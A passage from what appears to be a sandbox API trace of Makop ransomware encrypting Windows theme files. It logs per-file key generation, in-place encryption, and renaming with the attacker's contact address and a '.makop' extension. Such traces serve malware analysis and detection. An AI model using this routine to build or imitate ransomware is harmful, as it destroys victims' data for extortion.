Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM") returned 77 [0100.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.646] GetProcessHeap () returned 0x48a0000 [0100.646] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.646] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.646] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.646] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0100.651] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.651] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.651] GetProcessHeap () returned 0x48a0000 [0100.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.651] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.651] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.651] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.652] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.652] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.652] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.652] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.652] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.653] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.653] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.653] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.653] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19e14, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x19e14, lpOverlapped=0x0) returned 1 [0100.656] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x19e20, dwBufLen=0x19e20 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x19e20) returned 1 [0100.657] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.657] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19e20, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x19e20, lpOverlapped=0x0) returned 1 [0100.658] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.658] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x19ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.658] SetEndOfFile (hFile=0x138) returned 1 [0100.666] GetProcessHeap () returned 0x48a0000 [0100.666] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.667] GetProcessHeap () returned 0x48a0000 [0100.667] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.667] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.677] CloseHandle (hObject=0x138) returned 1 [0100.678] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0100.678] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF") returned 77 [0100.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.678] GetProcessHeap () returned 0x48a0000 [0100.678] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.678] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.678] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.679] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0100.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.683] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.683] GetProcessHeap () returned 0x48a0000 [0100.683] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.683] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.683] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.683] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.684] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.684] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.684] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.684] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.685] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.685] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.685] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.685] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x22b, lpOverlapped=0x0) returned 1 [0100.685] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x230) returned 1 [0100.685] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.685] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x230, lpOverlapped=0x0) returned 1 [0100.685] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.686] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.686] SetEndOfFile (hFile=0x138) returned 1 [0100.692] GetProcessHeap () returned 0x48a0000 [0100.692] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.692] GetProcessHeap () returned 0x48a0000 [0100.692] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.693] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.694] CloseHandle (hObject=0x138) returned 1 [0100.694] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.694] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0100.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.696] GetProcessHeap () returned 0x48a0000 [0100.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.696] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.696] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.696] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0100.700] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.700] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.700] GetProcessHeap () returned 0x48a0000 [0100.700] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.700] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.701] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.701] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.701] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.701] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.701] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.701] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.702] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.702] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.702] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.702] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xad0e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xad0e, lpOverlapped=0x0) returned 1 [0100.704] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xad10, dwBufLen=0xad10 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xad10) returned 1 [0100.705] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.705] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xad10, lpOverlapped=0x0) returned 1 [0100.706] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.706] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xade4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.706] SetEndOfFile (hFile=0x138) returned 1 [0100.714] GetProcessHeap () returned 0x48a0000 [0100.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.714] GetProcessHeap () returned 0x48a0000 [0100.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.714] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.715] CloseHandle (hObject=0x138) returned 1 [0100.716] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.716] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.716] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0100.716] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0100.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0100.717] GetProcessHeap () returned 0x48a0000 [0100.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.717] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0100.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0100.722] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0100.722] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.722] GetProcessHeap () returned 0x48a0000 [0100.722] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.722] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0100.722] CryptDestroyKey (hKey=0x48c7128) returned 1 [0100.722] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0100.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0100.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0100.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0100.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0100.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0100.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0100.723] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.724] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c6c, lpOverlapped=0x0) returned 1 [0100.725] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c70, dwBufLen=0x1c70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c70) returned 1 [0100.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c70, lpOverlapped=0x0) returned 1 [0100.726] CryptDestroyKey (hKey=0x48c7128) returned 1 [0100.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.726] SetEndOfFile (hFile=0xf0) returned 1 [0100.733] GetProcessHeap () returned 0x48a0000 [0100.733] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.733] GetProcessHeap () returned 0x48a0000 [0100.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.734] wsprintfW 